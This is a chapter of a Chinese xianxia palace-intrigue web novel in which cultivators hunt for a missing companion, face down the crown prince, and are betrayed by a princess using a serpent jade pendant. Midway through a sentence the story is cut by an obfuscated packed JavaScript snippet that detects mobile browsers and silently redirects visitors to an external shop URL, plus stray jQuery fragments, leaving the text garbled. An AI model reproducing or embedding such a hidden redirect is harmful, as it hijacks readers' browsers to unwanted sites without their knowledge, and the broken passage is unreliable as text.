唐逸已经失踪整整一日半了,从那日午后直至第二日,褚听澜翻遍了整个皇宫,也没有找到人。
即使寻着线索去揽月阁,也未发现一丝不对劲,淑宁公主一听唐逸不见了,比众人都还着急。
如今已是唐逸失踪的第三日晨,启祥宫厢房内,四人团团围坐。
燕栩站在圆桌旁,来回踱步:“依我说,我们就应该去把淑宁给绑了,问出唐逸的下落。”
“如今这么多双眼睛盯着揽月阁,岂能轻易将人从这些宫婢眼皮底下消失?”燕观霜坐在圆桌一侧,此事也顾不得绑人这事不妥,为其出谋划策。
“可唐逸已经失踪整整一日半了,这小子整日只知道炼丹喝酒,若是碰见那大妖玄蛇……”燕栩焦急地说,都不敢往下细想。
他垂眸,捏紧拳头:“我那日就不该任由他走。”
说罢燕栩抬腿就要往门外头走,褚岁刚好同云渺渺站在门旁,也顾不得前几日的尴尬别扭,一把抓住了人的袖口。
“你去做甚?”褚岁同样担心唐逸。
燕栩低头望了一眼被人抓紧的袖口,声音低沉沉的:“找人。”
前日下午发觉人不见了,众人还没有如此焦急,想来是唐逸发现淑宁的真实面目后伤心难堪,可直至日落,夜幕降至,也没见人回来。
这才察觉不对劲,整整一日,几人要将皇宫翻了一翻,也没找到人,后宫不好入内,褚岁与云渺渺就扮作宫婢去查,可还是没有线索。
如今褚岁也坐不住了,她没有松开手,反而眼神坚定道:“我同你一起。”
两人刚打算迈开腿,就被一老道拦住。
“站住,你们二人又要去哪啊。”
褚岁抬头,一下就听出那声音,眼睛一下子亮了:“姜先生!”
姜师被她这句姜先生叫的头皮发麻,从前在天上,整日唤自己老头老头,如今下了凡,还懂礼数了。
在几人眼中,姜师总独来独往,神出鬼没,说是一同捉妖,但却很少见到人在哪儿,但之前的那些功夫,让众人确信此人术法高深,值得敬重。、
更何况他救过褚岁的命。
褚岁像是抓住了什么救命稻草,两步窜到他面前,“你来得正好,先生一定有办法吧?唐逸不见了,我们翻遍了皇宫都没找到……”
姜师似乎并不意外,他叹了口气,枯瘦的手指在袖中掐了几下,眉头便跟着皱了起来,越皱越深。
他睁开眼时,眼底那点懒散已经散尽了:“你们这个朋友……人还活着,就是凶多吉少。”
一听这话,几人的心里咯噔一下,人还活着就是凶多吉少是什么意思?残了伤了?褚岁不敢想。
燕栩的脸一下子白了,他往前走了一步,声音比方才低了几分,却稳了不少:“先生,之前对您多有得罪,是我有眼无珠。如今我功法也精进了不少,请先生指点迷津。”
他难得说了几句正经话,说完还抱拳行了一礼,像模像样的。
姜师没有急着回答,只是垂下眼,重新掐了掐指,嘴唇微微翕动了一下。
而后他放下了手,声音比方才沉了几分:“天机不可泄露。”
他顿了顿:“但解铃还须系铃人,你们现在去揽月阁,那儿有你们想要的答案。”
燕栩抱拳又行了一礼:“多谢先生!”
几人转身便走,褚岁紧随其后,衣摆带起一阵风。
两人一前一后跨出院子,脚步又快又急,眨眼就消失在了回廊拐角。
褚听澜走在最后,经过姜师身侧时,脚步顿了一下。
他没有转头,声音压得很低:“先生并非凡间之人吧?那槐树妖,是您救走的。”
姜师没有说话,但眉头微微挑了一下,目光落在他侧脸上,像在打量什么。
褚听澜也没有等他回答,微微侧过身,朝姜师的方向极轻地欠了一下身:“先生不必多言。多谢先生。”
然后他便直起身,大步跟上去了。
院子里安静下来,姜师看了看自己腰间的酒壶,里边的槐树妖已经送上天界,他浅笑一声,若是褚岁那丫头恢复记忆,此时两人是否已经在对酌了呢。
作为司命星君,他不能长久逗留在凡间,待几个时辰便回天界,于是便显得神出鬼没了些。
-
揽月阁外,几人浩浩荡荡地穿过月门。
燕栩走在最前面,步子又快又急。
虽然不知道姜师何故让众人再来揽月阁,但燕栩心下打定了主意,必要关头,无论用什么符,都得悄悄将这淑宁绑了去,问出唐逸下落。
然而刚到揽月阁门口,他就停下了脚步。
原是揽月阁被许多侍卫,太监宫女团团围住了,侍卫们带着刀,站了两排,像一堵铁灰色的墙,把院门堵得严严实实。
这几个侍卫都颇有些眼熟,燕栩认出来了,这是前几日在甬道与他拔剑相向的几个侍卫,是太子身边的人呢。
此刻这几人正抱着手臂靠在门框上,像一尊守门的石狮子。
燕栩脚步没停,直接往前走。
为首的那侍卫伸出手臂一拦,手掌横在他胸前,语气硬邦邦的:“站住。太子殿下正在里面与公主闲聊,外人不得入内。”
燕栩看了他一眼:“我们是陛下请来的修士,奉旨查案的,什么时候成外人了?”
侍卫岿然不动,眉毛都没抬一下:“殿下说了,今日谁都不许进。”
燕栩往前走了一步,他的手按在剑柄上,剑身抽出一截抵在人的脖子上。
冷光在日光下闪了一下,映在那侍卫脸上。
他看着他,声音不高不低,却带着一种不太像他的凉意:“我最后说一遍,让开。”
燕栩用了些力道,刚好在侍卫脖子上留下一道红痕,渗出血丝,这侍卫也没想到这人会来真的,吓得裤子都浸湿了。
“让让让,都都给我让开来,让这几位修士进去。”
侍卫哭喊着摆手,身旁的几位见到这场面也没了胆,直给几人让出了一条通往揽月阁的路。
直到燕栩将剑拿开,侍卫才瘫倒在地上喘着粗气,仿佛劫后余生般。
揽月阁正厅的门敞着。
太子正坐在主位上,翘着腿,手里端着一盏茶,正悠闲地吹着浮面上的茶沫,像是刚喝到兴头上。
厅中央,淑宁公主跪在地上,头顶着一盏茶,双手交叠放在膝上,脊背挺得笔直,连睫毛都没颤一下。
她穿着一件素色的衣裳,发间没有戴任何首饰,整个人显得十分狼狈,与平日里那个高高在上的公主判若两人。
太子听见脚步声,抬了一下眼皮,目光懒洋洋地扫过来,在几人身上依次滑过。
他没有站起来,甚至没有放下茶盏,只是把杯沿从唇边移开了半寸,语气带着几分被打扰了兴致的不悦:“我当是谁呢,原来是你们几个。”
他把茶盏往桌上一搁,发出一声脆响,“怎么,我和自己妹妹说几句话,你们也要来插一脚?”
燕栩站在门口,目光从他脸上移到跪着的淑宁身上,又移回来:“太子殿下,再怎么叙旧也不应当是让公主跪在地上吧?”
虽然几人都对淑宁公主有所怀疑,但太子这作威作福的模样实在让人不爽,更何况淑宁一个女儿身跪倒在地,谁看了都会心生怜悯。
褚岁更是看不惯他的作风,一把拿走淑宁头上的茶盏,狠狠的放在一旁的茶台上,而后又一把扶起淑宁。
她直直地瞪着太子,道:“太子殿下,我们奉命查案,如今一名修士在宫内失踪,需要找淑宁公主了解情况。”
太子笑了一声,那笑声不重,却带着明晃晃的轻慢:“你们的人失踪了,来找我的妹妹要人?这是什么道理?”
他往后一靠,双手搭在扶手上:“宫里这么大,丢个人太正常了。说不定是自己走丢了,掉井里了,或者……”
太子的目光慢悠悠地扫过燕栩和褚岁。
“得罪了什么人,被处理了呢。”
燕栩的拳头攥紧了,褚岁在他旁边伸手压了一下他的胳膊,自己往前走了半步:“无论怎样,但太子殿下,淑宁公主是您的妹妹,您这样做未免太过分了。”
“妹妹?”太子像是听见了什么天大的笑话,声音拔高了半截,又慢悠悠地落下来,像在咀嚼这两个字的滋味,“我可没有一个贱妾生的妹妹。本太子是皇后嫡出,她……”
他抬起下巴朝淑宁的方向微微一扬,目光里带着毫不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694123|203990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掩饰的轻蔑。
“她也配?”
淑宁站在褚岁身后,看不清楚表情,只是睫毛轻颤。
褚岁还想说什么,燕栩已经不耐烦了。
他从袖中抽出一张泛着青灰色光芒的灵符,指尖夹着符纸一角,朝太子的方向晃了晃:“殿下,您还想再尝尝那‘椎心蚀骨符’的滋味?”
太子的脸色肉眼可见地变了一下。
前几日他确实尝过那符的滋味,只因那日甬道内燕栩让他丢了脸,于是便使了许多招数想让这人消失。
燕栩自然也不是傻子,早有防备,太子的每一招都被轻松破解,还被贴了一张符。
太子疼了整整一夜,浑身像被无数根细针从骨头缝里往外扎,叫了太医来,太医什么也查不出来,只说殿下怕是受了风寒。
身为太子,权利无限,却还是对付不了这群破修士,太子盯着燕栩手中那张符,面色青一阵白一阵,嘴唇动了动,像是想说什么狠话,又咽了回去。
罢了,不同这些蠢货计较。
他看了一眼燕栩,又看了一眼褚岁,看他重重地哼了一声,站起身来,拂袖大步往门外走。
走过淑宁身边时,他的脚步顿了一下,低头看了她一眼。
太子的嘴角扯了一下,阴狠道:“你给我等着。”而后大步跨出了门槛。
侍卫们跟着他撤了,院外很快恢复了安静。
太子走后,淑宁公主如蒙大赦,身形不稳朝后靠,宫女稳稳地接住了她,但却不是前几日的那位宫女。
那宫女因失责,早就被她暗自处置掉了。
淑宁双眸含泪,对着褚岁道:“多谢……”
燕栩看着她的眼睛,声音比方才缓了一些,但语气没有退让:“公主,你也不必再伪装了。你这几年在宫中的事,我们已经知道了。”
淑宁的身体僵了一瞬。
褚岁回头与她平视:“公主,唐逸师兄的失踪,究竟跟你有没有关系?”
淑宁的睫毛颤了一下,她垂着眼,看着自己膝上被裙摆遮住的双手。
“你们……都知道了。”她的声音有些哑。
淑宁苦笑道:“你们只看到我现在这样……可你们知道我是怎么活下来的吗?娘亲在我很小的时候就被打入冷宫了,我一个人在这宫里,没有人护着我,没有人替我说话。”
“表面上我是风光无限的公主,实则那些皇子他们拿我当玩物,高兴了逗两下,不高兴了就拿我出气。”
“那些妃嫔当着父皇的面夸我,转过身就给我使绊子。”她的声音开始发颤,“我只能变得凶,变得狠,变得让他们怕我……只有这样我才能活下去。”
淑宁的眼泪终于落了下来,一颗接一颗的,砸在衣摆上。
“我知道我做了很多错事。可我不做那些事,活不到今天。”
燕栩的目光松动了一瞬,他张了张嘴,像是想说什么软话,但最终只是别开了脸,把目光落在地面上。
就在众人都在为淑宁公主的这些话所动容,褚听澜却往前迈了一步,声音稳稳地落在众人之间。
“公主,玄蛇与你是什么关系?唐逸那日找了你之后到底去了哪里?”
淑宁抽泣着,像是用尽了力气才说出口:“原来他叫玄蛇么,我只知道他是妖物,都怪我,把他救回宫,才酿成大错。”
她抬眼望着褚听澜:“那妖物威胁我帮助他杀人,这么多年,我活得就像一株枯草,至于逸哥哥……”
淑宁拿出那枚蛇形玉佩,递到众人面前,又止不住大声哭泣:“都怪我,逸哥哥也是太担心我了,才会被玄蛇带走。”
“这枚玉佩是我同那妖物沟通的媒介,逸哥哥就是被这东西带走了。”
褚听澜将信将疑,接过玉佩,皱眉道:“好浓的妖气。”
众人围上前,一道暗沉的青光从玉面涌出,几道身影在青光中一个接一个地消失,厅内只剩下空荡的桌椅和一盏凉透的茶。
揽月阁正厅内,淑宁慢慢放下空了的掌心。
她脸上还挂着泪痕,肩膀还在微微发抖,脸上却止不住的放声笑起来。
淑宁握着玉佩,伸手慢慢擦干了泪水,然后轻声说了一句:“都给我去死吧。”